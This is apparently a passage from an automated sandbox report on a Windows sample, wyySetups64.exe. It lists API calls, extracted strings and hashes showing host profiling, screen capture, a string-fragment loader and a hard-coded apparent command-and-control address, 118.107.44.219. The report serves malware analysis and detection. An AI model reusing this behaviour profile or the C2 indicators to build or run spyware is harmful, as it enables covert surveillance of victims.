Opcode ID: 2f53cd99de7b70502dbfb43a252906e75cd8ef5dbbaed62b935777ebfb7fcb6a
Instruction ID: 62ff2036f992ce70951ed36b491d7045272063765e137392022de616539b72b9
Opcode Fuzzy Hash: 2f53cd99de7b70502dbfb43a252906e75cd8ef5dbbaed62b935777ebfb7fcb6a
Instruction Fuzzy Hash: FB510C74D00609DBCF04CF94C984AEEB7B1FF48305F248559ED15AB384D735AA89CBA4

Function 00D53FF7 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 00D5400E
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,?), ref: 00D54068
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00D54080
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,?,00000000,00000000), ref: 00D540CC

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 34b2c7f5b494ccf67b9d325744f33ca0ea89d0e807b565f945f2959b528e33de
Instruction ID: f85d1b46330a92312850b2d81c1e69c5def5b655719cfb05bfa8aece77c397e1
Opcode Fuzzy Hash: 34b2c7f5b494ccf67b9d325744f33ca0ea89d0e807b565f945f2959b528e33de
Instruction Fuzzy Hash: FE3134B5E40204BFEB14DFD8CC86FAEB7B5EB48710F244254F615AB2C1D671AA10CB65

Function 1000D330 Relevance: 6.1, APIs: 4, Instructions: 77COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,10011CF6,000000FF,?,1000CB92,?), ref: 1000D350
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,10011CF6,000000FF,?,1000CB92), ref: 1000D36B
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,1000CB92,?), ref: 1000D39F
??1_Lockit@std@@QAE@XZ.MSVCP140(?), ref: 1000D417

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Getcat@?$codecvt@Mbstatet@@@std@@V42@@Vfacet@locale@2@
String ID:
API String ID: 1566052064-0
Opcode ID: 2c848dbf772fb136aa0b1a4503c2d55199b9e41e15513577ea7fb89fc6818d4e
Instruction ID: 4d9198b2984e5e082309ff7aa8a3130d82e8df6aeec633f907ab193b7f9989e7
Opcode Fuzzy Hash: 2c848dbf772fb136aa0b1a4503c2d55199b9e41e15513577ea7fb89fc6818d4e
Instruction Fuzzy Hash: 79313EB4D00259DFDB04DFA4C895BEEBBB4FF48350F208619E915A3395DB34AA40CBA1

Function 10010BB0 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 10010BFD

Part of subcall function 100114A3: InitializeSListHead.KERNEL32(10017318,10010C07,10014EC8,00000010,10010B98,?,?,?,10010DBE,?,00000001,?,?,00000001,?,10014F10), ref: 100114A8

_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(10012320,10012324,10014EC8,00000010,10010B98,?,?,?,10010DBE,?,00000001,?,?,00000001,?,10014F10), ref: 10010C16
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(10012300,1001231C,10014EC8,00000010,10010B98,?,?,?,10010DBE,?,00000001,?,?,00000001,?,10014F10), ref: 10010C34
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 10010C67

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image_initterm_initterm_e
String ID:
API String ID: 590286634-0
Opcode ID: 5bd69a3745def1f0a502212b4dd3d1811da621de82d7f1043a7733e41357daf7
Instruction ID: 39f7e9c7f58ab3c24a5f1c768587727ae30ebfb406468ad2b612d2fa9f71a151
Opcode Fuzzy Hash: 5bd69a3745def1f0a502212b4dd3d1811da621de82d7f1043a7733e41357daf7
Instruction Fuzzy Hash: D421027A7482129AEB18EBB898027CC37A1EF11364F108205F4C96F1C3DBF1E5C18A96

Function 1000B2A0 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B2AD
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B2BA
?egptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B2C5
?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140 ref: 1000B2D2

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?gptr@?$basic_streambuf@$?egptr@?$basic_streambuf@
String ID:
API String ID: 2950233615-0
Opcode ID: 1783d4faa295622926a9acba5ea9b70e108ed3dee63503e54d904724665c109e
Instruction ID: 286a1d44accefb07714ea732755267c184901f6fbadf7b8dc8f0254af49e132d
Opcode Fuzzy Hash: 1783d4faa295622926a9acba5ea9b70e108ed3dee63503e54d904724665c109e
Instruction Fuzzy Hash: A5110D74E00219EFDB14DFA4D9958AEB7F5FF48240B204199E805A7355EB30AF01EB90

Function 1000C0C0 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?,?,1000B486), ref: 1000C0CA
?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?,1000B486), ref: 1000C0DD
?egptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(?,1000B486), ref: 1000C0EC
?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXPAD00@Z.MSVCP140(1000B44A,1000B44A,1000B449,?,1000B486), ref: 1000C110

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?eback@?$basic_streambuf@$?egptr@?$basic_streambuf@?setg@?$basic_streambuf@D00@
String ID:
API String ID: 3089488326-0
Opcode ID: 9fea32db6d82a8732664cb0fa318f11d1207675337fcaee34ad8ebc0f3171566
Instruction ID: e6559f61c40ac0d619c819a68eafb266e25295ce9371c656e40cb26db6e47210
Opcode Fuzzy Hash: 9fea32db6d82a8732664cb0fa318f11d1207675337fcaee34ad8ebc0f3171566
Instruction Fuzzy Hash: E5F0FF70900108EFCB08DF98CE9599DB7B6FF48301B20819EE406A3352CB31AF50EB54

Function 00D605E7 Relevance: 6.0, APIs: 4, Instructions: 28threadsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00D605F4
WaitForSingleObject.KERNEL32(00000000), ref: 00D605FB
CreateThread.KERNEL32(00000000,00000000,100048C0,00000000,00000000,00000000), ref: 00D60610
CreateThread.KERNEL32(00000000,00000000,100100C0,00000000,00000000,00000000), ref: 00D60625

Part of subcall function 00D51147: LoadLibraryW.KERNEL32(10012398), ref: 00D51152
Part of subcall function 00D51147: GetProcAddress.KERNEL32(?,100123AC), ref: 00D51164
Part of subcall function 00D51147: GetProcAddress.KERNEL32(?,100123C0), ref: 00D51178
Part of subcall function 00D51147: GetModuleHandleA.KERNEL32(00000000), ref: 00D511D4
Part of subcall function 00D51147: RegisterClassW.USER32(?), ref: 00D511E8
Part of subcall function 00D51147: CreateWindowExW.USER32(00000000,100123D8,100123EC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00D5120D

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: CreateThread$AddressProc$ClassCurrentHandleLibraryLoadModuleObjectRegisterSingleWaitWindow
String ID:
API String ID: 487361192-0
Opcode ID: 8fe67e59d9fa8f08b192819371fb0ced37870faed25ae35d93da0e6e918bcc92
Instruction ID: 497580ef38e86cf103f96492f3025fedcb5ba00a2cb07c029fb5e94085fd2c30
Opcode Fuzzy Hash: 8fe67e59d9fa8f08b192819371fb0ced37870faed25ae35d93da0e6e918bcc92
Instruction Fuzzy Hash: 13E0FEB5384354BAF661B7E05C4BF5936549B09F42F608650F749B90E2CAF4A410863D

Function 00D613C0 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000001), ref: 00D613D2
GetCurrentThreadId.KERNEL32 ref: 00D613E1
GetCurrentProcessId.KERNEL32 ref: 00D613EA
QueryPerformanceCounter.KERNEL32(?), ref: 00D613F7

Memory Dump Source

Source File: 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d50000_wyySetups64.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: f86ba159a5725a827743bc82e35b82d2db29b328119a317c3cdfdebdb067eff7
Instruction ID: 0a3c688fa97bd66b33bde44f19f6c44622bf0dc03c57f15caf060906c92fb81b
Opcode Fuzzy Hash: f86ba159a5725a827743bc82e35b82d2db29b328119a317c3cdfdebdb067eff7
Instruction Fuzzy Hash: 45F062B4D1021DEBDB05DBB4CA8999EBBF4FF1D200B918696E412E7111E730EB64DB50

Function 100046A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 100046D3
Concurrency::task_continuation_context::task_continuation_context.LIBCPMTD ref: 100047D2

Strings

.exe, xrefs: 10004735

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: Concurrency::task_continuation_context::task_continuation_contextFileModuleName
String ID: .exe
API String ID: 2188046178-4119554291
Opcode ID: 7c1adb2ab773884ace89058cb2ac793d15e5cf7632ab6271f58e31800855c332
Instruction ID: e9e11cb9fd6853f183fefa1d41d0e0024c16e6e010e8b744e496187a2de98be2
Opcode Fuzzy Hash: 7c1adb2ab773884ace89058cb2ac793d15e5cf7632ab6271f58e31800855c332
Instruction Fuzzy Hash: FE51467480424CEFEB14CBA4CC91BEEBBB5EF54340F148199E11977296DB302A49CBA2

Function 10010771 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(100172D4,?,URLDownloader,?,1000177C,100176B8,?,?,?,?,100019DB,10017674,00C40000,80000000,80000000,00000190), ref: 1001077C
ReleaseSRWLockExclusive.KERNEL32(100172D4,?,1000177C,100176B8,?,?,?,?,100019DB,10017674,00C40000,80000000,80000000,00000190,00000078,00000000), ref: 100107B6

Strings

URLDownloader, xrefs: 10010774

Memory Dump Source

Source File: 00000000.00000002.1818941367.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1818922223.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819028442.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1819047745.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_wyySetups64.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: URLDownloader
API String ID: 17069307-1891997712
Opcode ID: 9f1511a7a3ffbcca7e38548f47a2cc02b1a111f10bc6b3d82736ec6af61c00fc
Instruction ID: 8654295f68b371237154e9a797b482e4a7d7525e36026ba3eb3070c176022b3d
Opcode Fuzzy Hash: 9f1511a7a3ffbcca7e38548f47a2cc02b1a111f10bc6b3d82736ec6af61c00fc
Instruction Fuzzy Hash: 87F0A734A04211DBD321DF14C844A65B7B4FB49770F10432EF9A98B2E1D774E8C2CE51

Analysis Process: wyySetups64.exePID: 3624, Parent PID: 6992COMMON

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.2%
Total number of Nodes:	629
Total number of Limit Nodes:	20

Executed Functions

Function 03375430 Relevance: 93.2, APIs: 40, Strings: 13, Instructions: 440
stringnetworklibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0337F707: _malloc.LIBCMT ref: 0337F721

_memset.LIBCMT ref: 0337546C
_memset.LIBCMT ref: 03375485
_memset.LIBCMT ref: 03375495
gethostname.WS2_32(?,00000032), ref: 033754A3
gethostbyname.WS2_32(?), ref: 033754AD
inet_ntoa.WS2_32 ref: 033754C5
_strcat_s.LIBCMT ref: 033754D8
_strcat_s.LIBCMT ref: 033754F1
inet_ntoa.WS2_32 ref: 0337551A
_strcat_s.LIBCMT ref: 0337552D
_strcat_s.LIBCMT ref: 03375546
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 03375573
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000002,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 03375587
GetLastInputInfo.USER32(?), ref: 0337559A
GetTickCount.KERNEL32 ref: 033755A0
wsprintfW.USER32 ref: 033755D5
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 033755E8
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000296,00000000), ref: 033755FC
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 03375653
wsprintfW.USER32 ref: 0337566C
GetForegroundWindow.USER32 ref: 03375695
GetWindowTextW.USER32(00000000,000006CE,000000FA), ref: 033756AC
lstrlenW.KERNEL32(000008CC), ref: 033756D3
lstrlenW.KERNEL32(00000994), ref: 03375739
GetModuleHandleW.KERNEL32(kernel32.dll,GetNativeSystemInfo), ref: 033757AA
GetProcAddress.KERNEL32(00000000), ref: 033757B1
GetNativeSystemInfo.KERNEL32(?), ref: 033757C2
GetSystemInfo.KERNEL32(?), ref: 033757CD
wsprintfW.USER32 ref: 03375806
GetCurrentProcessId.KERNEL32 ref: 03375818
OpenProcess.KERNEL32(00000400,00000000,00000000), ref: 0337582E
K32GetProcessImageFileNameW.KERNEL32(00000000,?,00000104), ref: 0337584B
CloseHandle.KERNEL32(03395164), ref: 0337587F
GetTickCount.KERNEL32 ref: 033758E9
__time64.LIBCMT ref: 033758F8
__localtime64.LIBCMT ref: 0337592F
wsprintfW.USER32 ref: 03375968
GetLocaleInfoW.KERNEL32(00000800,00000002,00000F46,00000040), ref: 0337597D
GetSystemDirectoryW.KERNEL32(00001184,00000032), ref: 0337598C
GetCurrentHwProfileW.ADVAPI32(?), ref: 03375999

Part of subcall function 033780F0: GetLogicalDriveStringsW.KERNEL32(000003E8,?,75BF73E0,00000AD4,00000000), ref: 03378132
Part of subcall function 033780F0: lstrcmpiW.KERNEL32(?,A:\), ref: 03378166
Part of subcall function 033780F0: lstrcmpiW.KERNEL32(?,B:\), ref: 03378176
Part of subcall function 033780F0: QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 033781A6
Part of subcall function 033780F0: lstrlenW.KERNEL32(?), ref: 033781B7
Part of subcall function 033780F0: __wcsnicmp.LIBCMT ref: 033781CE
Part of subcall function 033780F0: lstrcpyW.KERNEL32(00000AD4,?), ref: 03378204

Strings

kernel32.dll, xrefs: 0337576F
2024.12. 3, xrefs: 03375758
%d min, xrefs: 033755CF
Network, xrefs: 033756C2, 03375728
x86, xrefs: 033757F4, 033757F9
AppEvents, xrefs: 033756B6, 0337571C
X86, xrefs: 033759B1, 033759D3
X86 %s, xrefs: 03375800
x64, xrefs: 033757ED
1.0, xrefs: 03375702
GROUP, xrefs: 033756E0
GetNativeSystemInfo, xrefs: 0337576A
REMARK, xrefs: 03375746

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Info$ByteCharMultiSystemWide_strcat_swsprintf$Process_memsetlstrlen$CountCurrentHandleTickWindowinet_ntoalstrcmpi$AddressCloseDeviceDirectoryDriveFileForegroundImageInputLastLocaleLogicalModuleNameNativeOpenProcProfileQueryStringsText__localtime64__time64__wcsnicmp_mallocgethostbynamegethostnamelstrcpy
String ID: %d min$1.0$2024.12. 3$AppEvents$GROUP$GetNativeSystemInfo$Network$REMARK$X86$X86 %s$kernel32.dll$x64$x86
API String ID: 1101047656-1568689114
Opcode ID: 58bfef68568d3012b3260b1294384520b1c2f37e666334f46871c32e84b41821
Instruction ID: 5bb7caa5086bd55218f01843c80941733534148c266c6f2a8e4a8f008eb964a9
Opcode Fuzzy Hash: 58bfef68568d3012b3260b1294384520b1c2f37e666334f46871c32e84b41821
Instruction Fuzzy Hash: 27F1C3B5A40708EFEB24EB64CCC5FDB73BCAB48700F004559E61AEB281EA74A645CF55

Function 00B20032 Relevance: 72.5, APIs: 3, Strings: 38, Instructions: 795memoryCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00B204AE
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 00B204DE
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 00B204F5

Strings

mI, xrefs: 00B20221
b, xrefs: 00B20113
a, xrefs: 00B20103
a, xrefs: 00B2013E
ushI, xrefs: 00B2019B
Syst, xrefs: 00B20219
G, xrefs: 00B20205
Fu, xrefs: 00B2025A
F, xrefs: 00B2018C
S, xrefs: 00B200E7
ucti, xrefs: 00B201BE
otec, xrefs: 00B2017F
Vi, xrefs: 00B2012C
p, xrefs: 00B200F7
Lo, xrefs: 00B200FC
A, xrefs: 00B20147
tu, xrefs: 00B20166
iv, xrefs: 00B20212
ctio, xrefs: 00B2026B
ee, xrefs: 00B200F0
yA, xrefs: 00B20125
Via, xrefs: 00B20312
st, xrefs: 00B201AD
a, xrefs: 00B2011C
oc, xrefs: 00B20154
o, xrefs: 00B201C9
tu, xrefs: 00B20137
fo, xrefs: 00B2022C
t, xrefs: 00B20187
P, xrefs: 00B20176
Li, xrefs: 00B2010C
tNat, xrefs: 00B2020A
Cach, xrefs: 00B201FA
b, xrefs: 00B20287
Ta, xrefs: 00B2027D
A, xrefs: 00B20244
a, xrefs: 00B2016D
Rt, xrefs: 00B20233

Memory Dump Source

Source File: 00000001.00000002.4116355062.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b20000_wyySetups64.jbxd

Similarity

API ID: AllocVirtual$InfoNativeSystem
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 4117132724-2899676511
Opcode ID: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction ID: 9bdc5d9e41bb36b370b750ee9d3dfb2ad15da331671d1804a0448ba574740621
Opcode Fuzzy Hash: 82ef88a58992c726dca534e4f3eff6f5ce2a19202078a525a2214f4ed1b422dd
Instruction Fuzzy Hash: E062AB315183958FD731DF24D880BABBBE0FF95704F04486DE9C99B252E770A988CB96

Function 0337DF10 Relevance: 61.6, APIs: 24, Strings: 11, Instructions: 354
sleepregistrysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03380542: __fassign.LIBCMT ref: 03380538

Sleep.KERNEL32(00000000), ref: 0337DF64
CloseHandle.KERNEL32(00000000), ref: 0337DF91
GetLocalTime.KERNEL32(?), ref: 0337DFA9
wsprintfW.USER32 ref: 0337DFE0
SetUnhandledExceptionFilter.KERNEL32(033775B0), ref: 0337DFEE
CloseHandle.KERNEL32(00000000), ref: 0337E007

Part of subcall function 0337F707: _malloc.LIBCMT ref: 0337F721

EnumWindows.USER32(03375CC0,?), ref: 0337E19D
Sleep.KERNEL32(00004E20,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0337E1AA
EnumWindows.USER32(03375CC0,?), ref: 0337E1BE
Sleep.KERNEL32(00000BB8), ref: 0337E1F5
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0337E241
Sleep.KERNEL32(00000FA0), ref: 0337E2C4
RegOpenKeyExW.KERNEL32(80000001,Console,00000000,00020019,?), ref: 0337E2EB
RegQueryValueExW.KERNEL32(?,IpDatespecial,00000000,?,00000000,?), ref: 0337E30B
CloseHandle.KERNEL32(?), ref: 0337E35D
Sleep.KERNEL32(000003E8,?,?), ref: 0337E3A4
WaitForSingleObject.KERNEL32(?,000000FF,?,?), ref: 0337E3D0
CloseHandle.KERNEL32(?,?,?), ref: 0337E3D7
Sleep.KERNEL32(000003E8,?,?), ref: 0337E3E2
CloseHandle.KERNEL32(?), ref: 0337E400
WaitForSingleObject.KERNEL32(?,000000FF,?,?), ref: 0337E425
CloseHandle.KERNEL32(?,?,?), ref: 0337E42C
Sleep.KERNEL32(00000000,?,?,?), ref: 0337E446
CloseHandle.KERNEL32(?), ref: 0337E464

Strings

19092, xrefs: 0337E0D0
Console, xrefs: 0337E2D5
118.107.44.219, xrefs: 0337E117
IpDatespecial, xrefs: 0337E305
%4d.%2d.%2d-%2d:%2d:%2d, xrefs: 0337DFDA
118.107.44.219, xrefs: 0337E07B, 0337E0C3, 0337E121, 0337E1E5, 0337E253
19092, xrefs: 0337E08F, 0337E0D7, 0337E135, 0337E1CE, 0337E20C
19091, xrefs: 0337E088
19093, xrefs: 0337E12E
118.107.44.219, xrefs: 0337E0B9
118.107.44.219, xrefs: 0337E071

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CloseHandleSleep$EnumObjectSingleWaitWindows$CreateEventExceptionFilterLocalOpenQueryTimeUnhandledValue__fassign_mallocwsprintf
String ID: %4d.%2d.%2d-%2d:%2d:%2d$118.107.44.219$118.107.44.219$118.107.44.219$118.107.44.219$19091$19092$19092$19093$Console$IpDatespecial
API String ID: 1511462596-2550096010
Opcode ID: e3c3234d4b589f887833f8ca678ab1bdb555023b391488188815d878ea7eec63
Instruction ID: b0b789524e62bbed19f127d429087049f405872e7ede4bf999d19866a430f577
Opcode Fuzzy Hash: e3c3234d4b589f887833f8ca678ab1bdb555023b391488188815d878ea7eec63
Instruction Fuzzy Hash: CDD1C0B4948704EFE360EF64DCC5A2BB7A8BBC4B00F040A1EF1958A295D77AD544CB62

Function 0337BC70 Relevance: 54.6, APIs: 27, Strings: 4, Instructions: 351
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDesktopWindow.USER32 ref: 0337BC8F
GetDC.USER32(00000000), ref: 0337BC9C
CreateCompatibleDC.GDI32(00000000), ref: 0337BCA2
GetDC.USER32(00000000), ref: 0337BCAD
GetDeviceCaps.GDI32(00000000,00000008), ref: 0337BCBA
GetDeviceCaps.GDI32(00000000,00000076), ref: 0337BCC2
ReleaseDC.USER32(00000000,00000000), ref: 0337BCD3
GetSystemMetrics.USER32(0000004E), ref: 0337BCF8
GetSystemMetrics.USER32(0000004F), ref: 0337BD26
GetSystemMetrics.USER32(0000004C), ref: 0337BD78
GetSystemMetrics.USER32(0000004D), ref: 0337BD8D
CreateCompatibleBitmap.GDI32(?,?,00000000), ref: 0337BDA6
SelectObject.GDI32(?,00000000), ref: 0337BDB4
SetStretchBltMode.GDI32(?,00000003), ref: 0337BDC0
GetSystemMetrics.USER32(0000004F), ref: 0337BDCD
GetSystemMetrics.USER32(0000004E), ref: 0337BDE0
StretchBlt.GDI32(?,00000000,00000000,?,00000000,?,?,?,00000000,?,00000000), ref: 0337BE07
_memset.LIBCMT ref: 0337BE7A
GetDIBits.GDI32(?,?,00000000,00000000,?,00000028,00000000), ref: 0337BE97
_memset.LIBCMT ref: 0337BEAF

Part of subcall function 0337F707: _malloc.LIBCMT ref: 0337F721

DeleteObject.GDI32(?), ref: 0337BF23
DeleteObject.GDI32(?), ref: 0337BF2D
ReleaseDC.USER32(00000000,?), ref: 0337BF39
DeleteObject.GDI32(?), ref: 0337BFDF
DeleteObject.GDI32(?), ref: 0337BFE9
ReleaseDC.USER32(00000000,?), ref: 0337BFF5

Strings

(, xrefs: 0337BE3E
6, xrefs: 0337BE61
gfff, xrefs: 0337BD38
gfff, xrefs: 0337BD10

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: MetricsSystem$Object$Delete$Release$CapsCompatibleCreateDeviceStretch_memset$BitmapBitsDesktopModeSelectWindow_malloc
String ID: ($6$gfff$gfff
API String ID: 3293817703-713438465
Opcode ID: b18a18fcb7ecf1803e8658668538c2c1fe893a85197fb6244cac506bec8dc36c
Instruction ID: ada68b52ece4a4853867ba43d4e7090dbbdd3ca2acdd35473bca44de63e3efeb
Opcode Fuzzy Hash: b18a18fcb7ecf1803e8658668538c2c1fe893a85197fb6244cac506bec8dc36c
Instruction Fuzzy Hash: 63D17BB5D01308EFDB24EFE9E885A9EBBB9FF48300F14452AF505AB240D775A905CB91

Function 03376A70 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 141
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

